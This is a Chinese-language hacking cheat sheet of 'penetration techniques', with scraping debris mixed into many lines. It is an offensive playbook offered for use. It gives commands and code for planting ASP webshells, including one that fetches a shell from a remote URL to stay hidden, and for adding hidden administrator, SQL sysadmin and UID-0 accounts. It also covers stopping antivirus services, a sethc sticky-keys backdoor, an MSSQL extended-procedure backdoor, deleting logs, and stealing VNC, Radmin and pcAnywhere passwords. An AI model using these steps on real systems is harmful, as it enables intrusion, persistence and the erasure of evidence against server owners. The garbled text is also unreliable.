渗透技巧总结

admin

旁站路径问题
! T7 K  g  J4 t3 S( w1、读网站配置。
" U1 V; M9 k1 o4 j% F. O2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
! V% v) s6 \; m. E# c3 @, j        
1 \" m: u  {+ B
7 f, j) R. `. |% E  W9 x% m: aMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

* g9 R/ y, z9 z. k$ z4 o6 dUsage:Cscript vWeb.vbs",4096,"Lilo"
! p* n/ e' J2 J1 s3 n        WScript.Quit
End If
Set ObjService=GetObject
4 R+ {9 H* p4 ]0 f7 k
* c  q. V5 K# G("IIS://LocalHost/W3SVC")
5 ~6 @8 u* `3 O6 f* Y2 @For Each obj3w In objservice
$ \7 [0 M  L2 c# j. w" m8 T1 ]# n        If IsNumeric(obj3w.Name)
' Z' C3 Q/ y, n& \% ]
# K2 y3 ^- t- s5 _8 iThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
( R5 \+ a+ A, c9 }" c+ x( H) W         
8 f  c/ k8 N% H! y
, q  q# m3 Q# o4 f3 V# F5 W       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
* Y7 _5 S9 w) J3 w/ U                WScript.Echo Chr(10) & "[" &

9 Y7 r8 }; _: W! j, Z4 q$ z9 ^OService.ServerComment & "]"
& z* G) b* ]& ^; m                For Each Binds In OService.ServerBindings
     
6 G$ [) M: N; }
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
/ ]' H; X1 L4 D$ u, C2 W. N                        

! R5 n$ I: Q/ S  lWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
5 e& K% M* y/ d. V! Q$ e$ y( |! ]
         WScript.Echo "ath            : " & VDirObj.Path
        End If
+ L) q# J! j. a. vNext
  g: M: |/ O% b  w' S! ?3 [, O4 b复制代码
: a6 d: f) P7 f+ F3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
) ^4 F" ?( p6 b/ g- z4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
" x# p( M% t& K8 O" S3 ?—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
8 ~* }1 K$ g% N4 B' t" Uurl/wp-content/plugins/akismet/hello.php
& }7 V7 B. v& a: s, }——————————————————————
phpMyAdmin暴路径办法:
& j2 {& }* V# d+ o; ?8 ]6 M- K; {7 ZphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
1 e! D! @" f" C4 R网站可能目录(注：一般是虚拟主机类）
' y! G# d2 A) {2 F7 d! ~+ W+ Qdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
  q" `4 }" }: N& M% n9 Z6 L2 nnetsh ras show user #查看哪些用户可以拨入VPN
$ B1 ]" a( Z2 P' z: T/ Y% p8 {netsh ras ip show config #查看VPN分配IP的方式
0 d+ |2 J4 p! S5 qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
" K9 E, \# [& n( Qnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
- v' _  _7 v2 e6 Q3 \! I  f命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
" ^" d( ]$ f% c: R7 M: n% texec master.dbo.sp_addlogin test,123
7 z5 O0 p* [! U; Y6 I' K- sEXEC sp_addsrvrolemember 'test, 'sysadmin'
: T' @5 j3 ?% ]! o$ e3 |2 i然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
1 j( I6 ?/ a9 P' E3 ujs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
; A7 z7 i7 W. S, ]
6 a# V$ `1 n' X0 `5 tvbs:
' F4 ~( h/ s" D# q0 u- Y- {3 w% ], zSet   o=CreateObject( "Shell.Users" )
, t1 J+ [2 i0 m  g1 ~) Z5 Y' qSet z=o.create("test")
: w; ?; z+ F! [; L8 Nz.changePassword "123456",""
# e. m1 T) ~$ z) E; y9 qz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
2 ~) j% Y' d: ~3 v% `, V' m* Ecacls c: /e /t /g everyone:F           #c盘everyone权限
- e  y, j- v& \2 m# L/ G( |cacls "目录" /d everyone               #everyone不可读，包括admin
# e; z3 E& I* {% o————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
% g: v7 N4 c5 M  ub、内网环境（LCX）
c、终端服务器超出了最大允许连接
: |( a, v. r! OXP 运行mstsc /admin
2003 运行mstsc /console   
. Q. h# q- U5 n- H, I
; ^' s  \& |! k  H7 e/ Q6 h2 G2 j# c0 K杀软关闭（把杀软所在的文件的所有权限去掉）
) E* s/ K4 o) F处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
$ N1 \# ~$ B8 d1 w! Y: n/ U+ tnet stop "Symantec Event Manager" /y
# z1 u3 `) G- S0 o5 B# Gnet stop "System Event Notification" /y
1 ^% H& D7 c( G- jnet stop "Symantec Settings Manager" /y
6 R7 F) S7 _: X
! u& O: r2 M  {8 o卖咖啡：net stop "McAfee McShield"
3 b; ^' \& V7 c9 I1 N0 x0 C————————————————————

0 _- x& {/ {# L" A: d  M% {7 W5次SHIFT：
7 \) e1 e1 O4 F3 ^- K$ ~0 {copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
$ V( L# p: v# b- S* s' z隐藏账号添加：
1 J, B: g' h8 u6 T' G9 B& }1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
4 z, ?5 L% }1 W* h2、导出注册表SAM下用户的两个键值
% ?! ~+ _; i. S4 d3 ]5 r! \1 z3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
* T& \" H( V! B$ _4、利用Hacker Defender把相关用户注册表隐藏
  q2 w, G+ O1 E+ g& @! D! S——————————————————————
2 I  B3 t5 w! f" j3 f% OMSSQL扩展后门：
USE master;
' W  V8 @8 ^6 X% W- o# z/ A. WEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
' Y: Y% D' X4 r& @- w———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
! m; D, P7 S5 J# H; t+ R/ K  W) Qex011120.log / ex011121.log / ex011124.log三个文件，
  A( @5 Z: L6 Y! s' V, M) M; Q直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
" e! y* ~/ a5 }9 m9 _4 l$ h9 k6 N% z用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

" s2 U) B9 H: t; P+ X- tMSSQL查询分析器连接记录清除：
: ~! s2 ^' y. O, e4 S8 {MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
" \3 p# j7 Q& x* Z$ y* p
Server\90\Tools\Shell\mru.dat
+ N7 R9 W7 h  b  D4 H* a—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
7 H* F  S! a& E# E" B9 S3 ]5 O" x
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
, w- W" r& F6 A8 x. f3 R0 b9 B- |0 oDim Ads, Retrieval, GetRemoteData
, k, w8 O/ {6 ~2 i& yOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
7 @$ h2 F2 b/ t' U- i- YWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
- x, I6 A' R3 @! j; Y.Send
GetRemoteData = .ResponseBody
End With
! _: c; R/ R5 P% i. ASet Retrieval = Nothing
( @- J, q' P) X% K: g( ySet Ads = Server.CreateObject("Adodb.Stream")
With Ads
" |3 x9 |/ Q4 t( ^.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
5 y" k; w% O# f1 C3 }4 ]7 _, D.Cancel()
.Close()
7 t& N: C7 K9 u( U' h; [End With
Set Ads=nothing
) U% y( K- b, D4 t, _/ e# e5 R4 kEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

" b- x2 _! C$ fVNC提权方法:
& \( J7 _; E- M; p$ F. m利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
( i- ^  ?& t' n: tregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
4 c( [: _2 ]2 h: @regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
8 k4 n8 X% _9 L然后用HASH版连接。
" s  J& }+ z6 K& [6 U如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
* x% s( ~9 i) o  V/ H' `2 O# `搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
* r4 p9 i: t# J7 H) l* I: d; d——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
. S) b* {" I& h8 X
3 U9 N2 z6 J/ i: N2 p# F1433 SA点构建注入点。
<%
7 t$ l! @5 r  RstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
' k/ ^( c. W0 D4 |% X4 S  hstrSQLDBName = "数据库名称"
9 P" t) C* X: {2 C+ L9 w0 W, QSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

& I3 I! S/ X8 N";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
9 }" L; I" I- a
strSQLDBName & ";"
conn.open strCon
, h! Q1 a  j" \4 ldim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
. L2 S8 R; `% g4 V2 MstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
) }; D# R" _( z/ l: g# u: I! M6 b******liunx 相关******
  C, G& l- [( R9 T5 m+ C一.ldap渗透技巧
; K/ T1 }  r2 ~$ }1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
+ G* D3 d' Q6 K0 X
& ^! z& ^# ~: r+ t9 r7 ?. ~( {  T* k& K3.查找管理员信息
  N4 U/ ]1 t/ p/ x" C8 c匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, j2 B, P9 G! B4 N+ ]
0 E! v, w! e7 {' g9 P' d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 P% A( {/ @* ?9 {* l( E* i: h
0 }/ d' w# C& m! g/ i7 O  @& ]"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

8 n+ M& D4 P* Q* q1 e: ~  O; a实战:
1.cat /etc/nsswitch
& Q6 x; |" _' q3 Q* ~7 u看看密码登录策略我们可以看到使用了file ldap模式

, Y) G" r  z6 M' H4 \" U- M2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

! {( L! @5 T6 C; c  B/ Q3.查找管理员信息
4 C& P5 J# l3 L! x6 n  R/ A; q/ x匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ u4 o2 f/ U3 J. _) _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ x+ I# E& }+ b" m) K( a0 E有密码形式
- ?4 m  u4 [% a6 X; vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 B) p; A) S& V6 j& E! a
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: E/ B- ~- q& [8 S1 J* ~$ j# {
: d8 }3 a2 ]1 l1 J) n
. q( C7 w2 c( Z1 f( K: ?; F4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

" m  V( A' t0 w5 E/ p渗透实战:
  z/ R. C& v- U# w& O1.返回所有的属性
; Q" z9 m2 u' G% zldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
- {% D0 ~& R( i6 |& X0 {, P8 }/ O( kobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
1 p, n4 [" a' B/ A2 cuid: manager
objectClass: inetOrgPerson
# w, m. ]8 }# y4 J" u; T3 |objectClass: organizationalPerson
1 B6 W. R) ^, Z: P/ LobjectClass: person
objectClass: top
sn: manager
4 L/ B, g- g( Q- T. Wcn: manager
' e1 p% [% \/ U) I: ~  o
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
; p( B3 E  ^- r7 m9 @- gobjectClass: inetOrgPerson
) d/ V  d5 B5 Y8 I8 _) w  hobjectClass: organizationalPerson
( `( f0 V: y* @7 U( X8 DobjectClass: person
objectClass: top
$ ^8 C! t% ~: E+ R, r3 Z% ssn: superadmin
# Q5 m/ e( H! N1 j- ?" \! Q8 Ocn: superadmin
. [% H' p( B" Q; z2 l# F
dn: uid=admin,dc=ruc,dc=edu,dc=cn
; x( s# s# x6 ~4 `uid: admin
% |* S0 \: S% s- zobjectClass: inetOrgPerson
; Y# \9 ?$ Z; N( }objectClass: organizationalPerson
5 c8 y" e' ~* C2 U- ~5 r5 L$ HobjectClass: person
objectClass: top
sn: admin
1 e! C$ a6 @5 O6 X3 Fcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
* d/ w1 Y3 S6 Guid: dcp_anonymous
: t; W1 v2 w( d5 X  b* JobjectClass: top
% B& a9 _- M+ v/ I; C0 g% ~objectClass: person
. d3 v( G0 L2 z- W! A, e. V. FobjectClass: organizationalPerson
& I4 [  g3 L' EobjectClass: inetOrgPerson
+ M, j! d/ Q0 W/ Z+ Csn: dcp_anonymous
0 O' a# h" Z6 L4 _- Acn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
7 k& ^; X' V6 _* X" Qdn:
: a7 f7 \. \; H8 [objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
7 F" c# u* p0 Y5 ]supportedExtension: 2.16.840.1.113730.3.5.8
/ A( M$ |4 T7 A& U& P4 VsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
' q2 b4 w; [# _& o. G% wsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
4 a* ?; i& B( AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
1 _6 I& D+ w$ t; `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
! q8 p/ Y# p; YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
# _& G. y  J( b. C+ hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
8 ~: B, H9 @4 {: e; @9 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
. \7 e! w! ], \6 O6 c* ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
- f% P# g1 }9 Y. p" Z0 o1 n% [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
, X$ k0 l5 s5 D. {+ _3 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
- ^4 F3 {) T: I* t# L: vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
8 h: E3 R) [- \- g& M, E0 A# OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
! s  C7 @" T. HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
% Q7 \; W' ]# [9 i1 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
, u; t+ s  r9 ?9 o$ @/ o/ B( K" y: [supportedExtension: 1.3.6.1.4.1.4203.1.11.3
: b. v3 s3 J, c# `  ~supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
( Z5 T: t' M1 k+ y6 q- G6 MsupportedControl: 2.16.840.1.113730.3.4.4
' R, ?0 R' l5 ~1 d% c& ]supportedControl: 2.16.840.1.113730.3.4.5
& Y( x& E0 M( E/ t4 o( IsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
( L7 Z" G0 t* A/ i$ fsupportedControl: 2.16.840.1.113730.3.4.15
* |; E( K* p4 F: Q" a& e! l8 e) `supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
% S+ K  t/ B0 q4 |supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
: X- e+ r& r4 K1 j2 x2 d' O) x1 YsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
. W! Z  c: N( M4 _( Y3 YsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
& l6 N$ e; |8 nsupportedLDAPVersion: 2
9 B' C( I9 O& dsupportedLDAPVersion: 3
: i1 w, c6 b* H; s" h& b3 XvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
4 N8 W! }+ X: \$ P! T/ Zdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
8 ?4 T3 X4 Z; N5 Q$ D* dsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
; C! R3 q1 t* k" I  }8 n& H( NsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
4 r6 h% f3 T, ~supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
7 N; ?; B: |4 \* ^supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
7 X6 Q" o  ~' ^' p& U' u4 lsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
4 Y1 k, _8 d& ^0 L8 U9 zsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
; m9 i3 {6 n6 r' c5 e( n+ R8 c' V7 B' \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
  ?' n; \6 |/ |# O# K& jsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
( B* \2 v) [3 gsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
- n% Y3 u8 x7 Z$ O9 i7 W. TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
* b! b3 ^& Q  E/ d9 @supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
! f. ], \& ^: N( r& k  ^9 G% Y0 qsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
  R- v' ^0 C; U' H  n; e; @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
" H  P7 M& f5 P! YsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
, @& e6 {7 p# x0 F: lsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
3 z4 h% q2 S/ E& {supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 n: b1 u$ b7 i& bsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
5 k6 M2 Q( n, S, NsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
& t9 l- R5 A% }  J" s( L% t- qsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
6 K* n( O; Q& ]+ s% c6 psupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
0 J+ t1 S* J+ \1 SsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
) i0 N' m) |) G! S3 ?: i; @  isupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
' b$ `3 B' ~/ e; s# ?$ NsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
' Q" M# y7 n/ d6 j, T  `2. NFS渗透技巧
- L1 n( }( U2 ]; Ashowmount -e ip
列举IP
  ?( ?+ f6 x. t/ z——————
9 B6 @5 \8 \1 o. Q* {+ i1 C- b3.rsync渗透技巧
3 y% w/ k( E# v# e. O% V8 b1.查看rsync服务器上的列表
$ p# u3 S: Y. {7 T& I) }1 xrsync 210.51.X.X::
9 W7 `, j0 l1 J7 E# K' ^finance
! v" T1 \' \1 U. s/ v0 L7 rimg_finance
6 {+ Z9 y6 @" g0 p* E3 ~auto
, f  G9 E& S  [+ }- M) _img_auto
html_cms
8 {  R+ X+ R7 B" k, S4 {" m; Bimg_cms
, i3 Q- Q) |+ ?! Aent_cms
ent_img
ceshi
4 J. y) o8 w4 X: l! xres_img
% u9 N: f5 R4 tres_img_c2
chip
chip_c2
( v$ }& m4 v: B9 B  Qent_icms
games
& C: S- t/ M1 a3 Z+ |+ }) Ggamesimg
media
4 i# S0 n8 z# a5 Rmediaimg
3 |; F+ C, Z/ L, [" G4 rfashion
+ {5 u/ p+ E+ q8 t7 nres-fashion
res-fo
" j: O; ~7 c( J0 @/ N9 j$ }taobao-home
( u/ S" F8 O9 L* \& G' A- W+ qres-taobao-home
house
9 |. X- Q/ R& c" s/ l$ @0 Ores-house
* l1 ^5 ]  i* p0 Yres-home
# U1 @; b8 a9 Bres-edu
2 S3 S- @; ~! Z' N8 C" m, w8 }' Jres-ent
res-labs
res-news
res-phtv
3 B4 p# {. D3 Q* Cres-media
home
! m; J: {9 @& o8 E* cedu
. \5 e- n; w! ]: y( \. M# enews
' V! Q! \2 w0 h) g$ qres-book
, l. G. P6 _& Z5 {. b, ^7 W6 P
% X% e+ a7 _7 {& T看相应的下级目录(注意一定要在目录后面添加上/)
6 _' E" r/ Q% l  W

rsync 210.51.X.X::htdocs_app/
3 Y; ]% L  d! S/ Z! zrsync 210.51.X.X::auto/
8 C5 E/ O% l1 D: A: n7 Lrsync 210.51.X.X::edu/
. x! f7 u0 `' n+ c! O3 x, L* q
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
) N+ V8 W+ d+ x' R$ g  c; J- `
3.向上更新rsync文件(成功上传,不会覆盖)
1 c# X5 e9 l' H( h/ e5 d: t% n6 yrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
/ T3 J2 j+ `0 c' l9 [. `+ e
四.squid渗透技巧
2 R3 T4 k4 m; ]$ y8 r8 ]. unc -vv baidu.com 80
5 j& I3 c2 N% K) Y& xGET HTTP://www.sina.com / HTTP/1.0
; R$ O. z( o  |( d2 Z# Y; `GET HTTP://WWW.sina.com:22 / HTTP/1.0
% N) v- J% u& ~" P五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

, d$ Z3 l+ H" T1 |% R( p六.joomla渗透小技巧
* I3 y7 D' e$ J确定版本
+ Z2 h  z( z% v% }index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

$ d8 l. c3 g6 ?- Q4 Y15&catid=32:languages&Itemid=47

/ P6 i; C' i. ^重新设置密码
index.php?option=com_user&view=reset&layout=confirm
, Z* C) T0 \  G/ K; R
: g# g: q5 v, u" V! K2 m: C七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
/ G; H4 G# i2 Q6 h& f. H
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
& i2 d0 b; H" V* freebsd 7.3-RELEASE GENERIC
2 o. @4 }6 x0 l0 V& y( K9 ]. o8 D/ f* [argp@julius ~]$ sysctl vfs.usermount
& x) F, i/ P; t+ g2 n4 C' e* vfs.usermount: 1
